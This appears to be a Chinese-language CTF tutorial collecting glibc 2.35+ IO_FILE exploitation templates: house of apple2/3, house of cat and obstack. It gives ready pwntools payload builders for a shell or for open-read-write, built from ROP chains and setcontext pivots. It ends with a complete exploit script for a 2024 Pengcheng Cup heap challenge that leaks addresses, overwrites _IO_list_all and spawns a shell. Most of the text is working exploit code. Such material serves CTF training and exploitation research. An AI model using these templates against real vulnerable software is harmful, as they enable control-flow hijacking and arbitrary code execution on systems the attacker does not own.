libc2.35时代IO利用模板总结
字数 977 2025-08-20 18:17:41
libc2.35时代IO利用模板总结
概述
本文详细总结了libc2.35及更高版本中的IO利用技术,主要包括house of apple系列、house of cat和obstack利用等方法。这些技术通过伪造IO_FILE结构体,利用IO操作中的函数调用链实现控制流劫持。
前置条件
大多数IO利用技术需要满足以下条件:
- 已知heap地址和libc基址
- 能控制程序执行IO操作(如从main返回、调用exit、触发__malloc_assert等)
- 能控制vtable和相关结构体(通常通过largebin attack实现)
House of Apple系列
House of Apple2
利用点:基于IO_FILE->_wide_data的利用
调用链:
_IO_wfile_overflow -> _IO_wdoallocbuf -> _IO_WDOALLOCATE
getshell模板
def house_of_apple2(fake_IO_file_addr):
fake_IO_file = flat({
0x18: 1, # _IO_write_ptr
0x58: one_gadget, # chain
0x78: _IO_stdfile_2_lock, # _lock
0x90: fake_IO_file_addr, # _IO_wide_data
0xc8: _IO_wfile_jumps, # vtable
0xd0: fake_IO_file_addr # fake wide vtable
}, filler='\x00')
return fake_IO_file
ORW模板
def house_of_apple2(fake_IO_file_addr):
fake_IO_file = flat({
0x18: 1, # _IO_write_ptr
0x58: setcontext + 61, # chain
0x78: _IO_stdfile_2_lock, # _lock
0x90: fake_IO_file_addr + 0x100, # _IO_wide_data
0xc8: _IO_wfile_jumps, # vtable
0xf0: {
0xa0: [fake_IO_file_addr + 0x200, ret],
0xe0: fake_IO_file_addr
},
0x1f0: [
pop_rdi_ret, fake_IO_file_addr >> 12 << 12,
pop_rsi_ret, 0x2000,
pop_rdx_rbx_ret, 7, 0,
pop_rax_ret, 10, # mprotect
syscall_ret, fake_IO_file_addr + 0x290
],
0x280: asm(shellcraft.cat('flag'))
}, filler='\x00')
return fake_IO_file
House of Apple3
利用点:基于IO_FILE->_codecvt的利用
调用链:
_IO_wfile_underflow -> libio_codecvt_in -> fp->codecvt -> cd_in.step -> __fct(函数指针)
getshell模板
def house_of_apple3(fake_IO_file_addr):
fake_ucontext = ucontext_t()
fake_ucontext.rip = ret
fake_ucontext.rsp = fake_IO_file_addr + 0x300
fake_ucontext.rdi = fake_IO_file_addr >> 12 << 12
fake_ucontext.rsi = 0x2000
fake_ucontext.rdx = 7
fake_IO_file = flat({
0: 0xffffffffffffffff, # _IO_read_end
0x18: 1, # _IO_write_ptr
0x30: fake_IO_file_addr + 0x100, # _IO_buf_end = _codecvt.step
0x88: fake_IO_file_addr + 0x40, # _codecvt
0x90: _IO_wide_data,
0xc8: _IO_wfile_jumps + 0x8, # vtable
0xf0: {
0: 0, # key
0x28: one_gadget # fun_ptr
}
}, filler='\x00')
return fake_IO_file
ORW模板
def house_of_apple3(fake_IO_file_addr):
frame = SigreturnFrame()
frame.rip = ret
frame.rsp = fake_IO_file_addr + 0x200
frame.rdi = fake_IO_file_addr >> 12 << 12
frame.rsi = 0x2000
frame.rdx = 7
fake_IO_file = flat({
0: 0xffffffffffffffff, # _IO_read_end
0x18: 1, # _IO_write_ptr
0x30: fake_IO_file_addr + 0x100, # _IO_buf_end = _codecvt.step
0x88: fake_IO_file_addr + 0x40, # _codecvt
0x90: _IO_wide_data,
0xc8: _IO_wfile_jumps + 0x8, # vtable
0xf0: {
0: 0, # key
0x8: fake_IO_file_addr + 0x100,
0x20: setcontext + 61,
0x28: magic_gadget, # fun_ptr
0x30: bytes(frame)[0x30:]
},
0x1f0: [
pop_rax_ret, 10,
syscall_ret, fake_IO_file_addr + 0x230
],
0x220: asm(shellcraft.cat('flag'))
}, filler='\x00')
return fake_IO_file
House of Cat
利用点:利用_IO_wide_data结构体,通过不同的调用链实现利用
调用链:
_IO_wfile_seekoff -> _IO_switch_to_wget_mode
getshell模板
def house_of_cat(fake_IO_file_addr):
fake_IO_file = flat({
0x20: [0, 0, 1, 1, fake_IO_file_addr], # rdx system
0x58: 0, # chain
0x78: _IO_stdfile_2_lock, # _lock
0x90: fake_IO_file_addr + 0x30, # _IO_wide_data
0xb0: 1, # _mode
0xc8: _IO_wfile_jumps + 0x30, # vtable _IO_wfile_seekoff
0x100: fake_IO_file_addr + 0x40 # fake_wide_jumps
})
return fake_IO_file
ORW模板(ROP链方式)
def house_of_cat(fake_IO_file_addr):
flag_addr = fake_IO_file_addr + 0x200
data = fake_IO_file_addr + 0x400
payload = flat({
0x20: [0, 0, 1, 1, fake_IO_file_addr+0x150], # rdx setcontext + 61
0x58: 0, # chain
0x78: _IO_stdfile_2_lock, # _lock
0x90: fake_IO_file_addr + 0x30, # _IO_wide_data
0xb0: 1, # _mode
0xc8: _IO_wfile_jumps + 0x10, # fake_IO_wide_jumps
0x100: fake_IO_file_addr + 0x40,
0x140: {0xa0: [fake_IO_file_addr + 0x210, ret]},
0x1f0: 'flag',
0x200: [
pop_rax_ret, # sys_open('flag', 0)
2,
pop_rdi_ret, flag_addr,
pop_rsi_ret, 0,
syscall_ret,
pop_rax_ret, # sys_read(flag_fd, heap, 0x100)
0,
pop_rdi_ret, 3,
pop_rsi_ret, data,
pop_rdx_rbx_ret, 0x40, 0,
syscall_ret,
pop_rax_ret, # sys_write(1, heap, 0x100)
1,
pop_rdi_ret, 1,
pop_rsi_ret, data,
pop_rdx_rbx_ret, 0x40, 0,
syscall_ret
]
}, filler='\x00')
return payload
Obstrack利用
利用点:利用obstack结构体实现控制流劫持
调用链:
_IO_obstack_xsputn -> _obstack_newchunk -> CALL_CHUNKFUN -> chunkfun
getshell模板
def house_of_obstack(fake_IO_file_addr):
fake_IO_file = flat({
0x8: 1, # next_free
0x10: 0, # chunk_limit
0x18: 1, # _IO_write_ptr
0x20: 0, # _IO_write_end
0x28: system, # gadget
0x38: fake_IO_file_addr + 0xe8, # rdi = &'/bin/sh\x00'
0x40: 1,
0x58: 0, # chain
0x78: _IO_stdfile_2_lock, # _IO_stdfile_1_lock
0x90: _IO_wide_data, # _IO_wide_data_2
0xc8: _IO_obstack_jumps + 0x20,
0xd0: fake_IO_file_addr, # obstack(B)
0xd8: '/bin/sh\x00'
}, filler='\x00')
return fake_IO_file
ORW模板
def house_of_obstack(fake_IO_file_addr):
flag_addr = fake_IO_file_addr + 0x300
data = fake_IO_file_addr + 0x380
fake_IO_file = flat({
0: {
0x8: 1, # next_free
0x10: 0, # chunk_limit
0x18: 1, # _IO_write_ptr
0x20: 0, # _IO_write_end
0x28: magic_gadget, # gadget
0x38: fake_IO_file_addr + 0x100, # rdi
0x40: 1,
0x58: 0, # chain
0x78: _IO_stdfile_2_lock, # _IO_stdfile_1_lock
0x90: _IO_wide_data, # _IO_wide_data_2
0xc8: _IO_obstack_jumps + 0x20,
0xd0: fake_IO_file_addr # obstack(B)
},
0xf0: {
0: [0, fake_IO_file_addr + 0x100, 0, 0, setcontext + 61],
0xa0: fake_IO_file_addr + 0x200,
0xa8: ret
},
0x1f0: [
pop_rax_ret, # sys_open('flag', 0)
2,
pop_rdi_ret, flag_addr,
pop_rsi_ret, 0,
syscall_ret,
pop_rax_ret, # sys_read(flag_fd, heap, 0x100)
0,
pop_rdi_ret, 3,
pop_rsi_ret, data,
pop_rdx_rbx_ret, 0x40, 0,
syscall_ret,
pop_rax_ret, # sys_write(1, heap, 0x100)
1,
pop_rdi_ret, 1,
pop_rsi_ret, data,
pop_rdx_rbx_ret, 0x40, 0,
syscall_ret
],
0x2f0: 'flag\x00\x00\x00\x00'
}, filler='\x00')
return fake_IO_file
关键结构体
ucontext_t结构体
class ucontext_t:
'''[0x1c0] must be NULL.'''
length = 0x1c8
bin_str = length * b'\0'
rip = 0
rsp = 0
rbx = 0
rbp = 0
r12 = 0
r13 = 0
r14 = 0
r15 = 0
rsi = 0
rdi = 0
rcx = 0
r8 = 0
r9 = 0
rdx = 0
def __init__(self):
pass
def set_value(self, offset, value):
if (offset <= 0 or offset > self.length - 8):
raise Exception("Out bound!")
temp = self.bin_str
temp = temp[:offset] + struct.pack('Q', value) + temp[offset+8:]
self.bin_str = temp
def __bytes__(self):
self.set_value(0x28, self.r8)
self.set_value(0x30, self.r9)
self.set_value(0x48, self.r12)
self.set_value(0x50, self.r13)
self.set_value(0x58, self.r14)
self.set_value(0x60, self.r15)
self.set_value(0x68, self.rdi)
self.set_value(0x70, self.rsi)
self.set_value(0x78, self.rbp)
self.set_value(0x80, self.rbx)
self.set_value(0x88, self.rdx)
self.set_value(0x98, self.rcx)
self.set_value(0xa0, self.rsp)
self.set_value(0xa8, self.rip) # rip
self.set_value(0xe0, self.rip) # readable
return self.bin_str
obstack相关结构体
struct _IO_obstack_file {
struct _IO_FILE_plus file;
struct obstack *obstack; // 0xe0
};
struct obstack {
long chunk_size;
struct _obstack_chunk *chunk;
char *object_base;
char *next_free; // offset = 0x18
char *chunk_limit; // offset = 0x20
union {
long tempint;
void *tempptr;
} temp;
int alignment_mask;
struct _obstack_chunk *(*chunkfun)(void *, long); // offset = 0x38
void (*freefun)(void *, struct _obstack_chunk *);
void *extra_arg; // offset = 0x48
unsigned int use_extra_arg : 1; // offset = 0x50
unsigned int maybe_empty_object : 1;
unsigned int alloc_failed : 1;
};
struct _obstack_chunk {
char *limit;
struct _obstack_chunk *prev;
char contents[4];
};
例题分析:2024鹏城杯 babyheap
- edit函数存在堆溢出漏洞
- 通过堆风水泄露heap地址和libc地址
- 劫持_IO_list_all,使用house of apple2的getshell模板
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)
context.arch = 'amd64'
context.log_level = 'debug'
fn = './pwn'
elf = ELF(fn)
libc = elf.libc
debug = 1
if debug:
p = process(fn)
else:
p = remote()
def dbg(s=''):
if debug:
gdb.attach(p, s)
pause()
else:
pass
lg = lambda x, y: log.success(f'{x}: {hex(y)}')
def menu(index):
p.sendlineafter('your choice:', str(index))
def add(index, size, content):
menu(1)
p.sendlineafter('input idx:', str(index))
p.sendlineafter('input size:', str(size))
p.sendafter('input content:', content)
def show(index):
menu(3)
p.sendlineafter('input idx:', str(index))
def edit(index, content):
menu(4)
p.sendlineafter('input idx:', str(index))
p.send(content)
def delete(index):
menu(2)
p.sendlineafter('input idx:', str(index))
# 泄露heap地址
for i in range(12):
add(i, 0x80, 'aaaa')
for i in range(7):
delete(i)
delete(7)
delete(9)
add(0x14, 0x400, 'aaaa')
for i in range(7):
add(0, 0x80, 'aaaa')
add(7, 0x80, 'aaaaaaaa')
show(7)
p.recvuntil('a'*8)
heapbase = u64(p.recv(6).ljust(8, b'\x00')) - 0x7a0
lg('heapbase', heapbase)
# 泄露libc地址
add(0, 0x80, 'aaaa')
for i in range(10):
add(i, 0x80, 'aaaa')
for i in range(7):
delete(i)
delete(7)
add(0x14, 0x400, 'aaaa')
for i in range(7):
add(0, 0x80, 'aaaa')
add(7, 0x80, 'aaaaaaaa')
show(7)
p.recvuntil('a'*8)
libcbase = u64(p.recv(6).ljust(8, b'\x00')) - 0x21ad60
lg('libcbase', libcbase)
# house of apple2利用
_IO_list_all = libcbase + libc.sym['_IO_list_all']
_IO_wfile_jumps = libcbase + 0x2170c0
_IO_stdfile_2_lock = libcbase + 0x21ca80
gadgets = [0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd3f, 0xebd43]
one_gadget = libcbase + gadgets[0]
add(0, 0x80, 'aaaa')
add(1, 0x80, 'aaaa')
add(2, 0x80, 'aaaa')
add(3, 0x80, 'aaaa')
delete(2)
delete(1)
# largebin attack劫持_IO_list_all
payload = flat({
0x80: [0, 0x91, _IO_list_all ^ ((heapbase + 0x1000) >> 12)]
})
edit(0, payload)
fake_IO_file_addr = heapbase + 0x1950
add(0x14, 0x400, house_of_apple2(fake_IO_file_addr))
add(0, 0x80, 'aaaa')
add(1, 0x80, p64(fake_IO_file_addr))
# 触发IO流
menu(1)
p.sendlineafter('input idx:', str(0x100))
p.interactive()
总结
本文详细总结了libc2.35及更高版本中的IO利用技术,包括:
- House of Apple系列(2和3版本)
- House of Cat
- Obstrack利用
这些技术通过伪造IO_FILE结构体,利用不同的调用链实现控制流劫持,可以用于getshell或ORW操作。关键点包括:
- 需要heap和libc地址泄露
- 通常需要largebin attack等堆利用技术
- 需要触发IO操作(如exit、malloc_assert等)
- 需要精心构造伪造的IO_FILE结构体
掌握这些技术可以有效地在高版本libc环境下实现利用。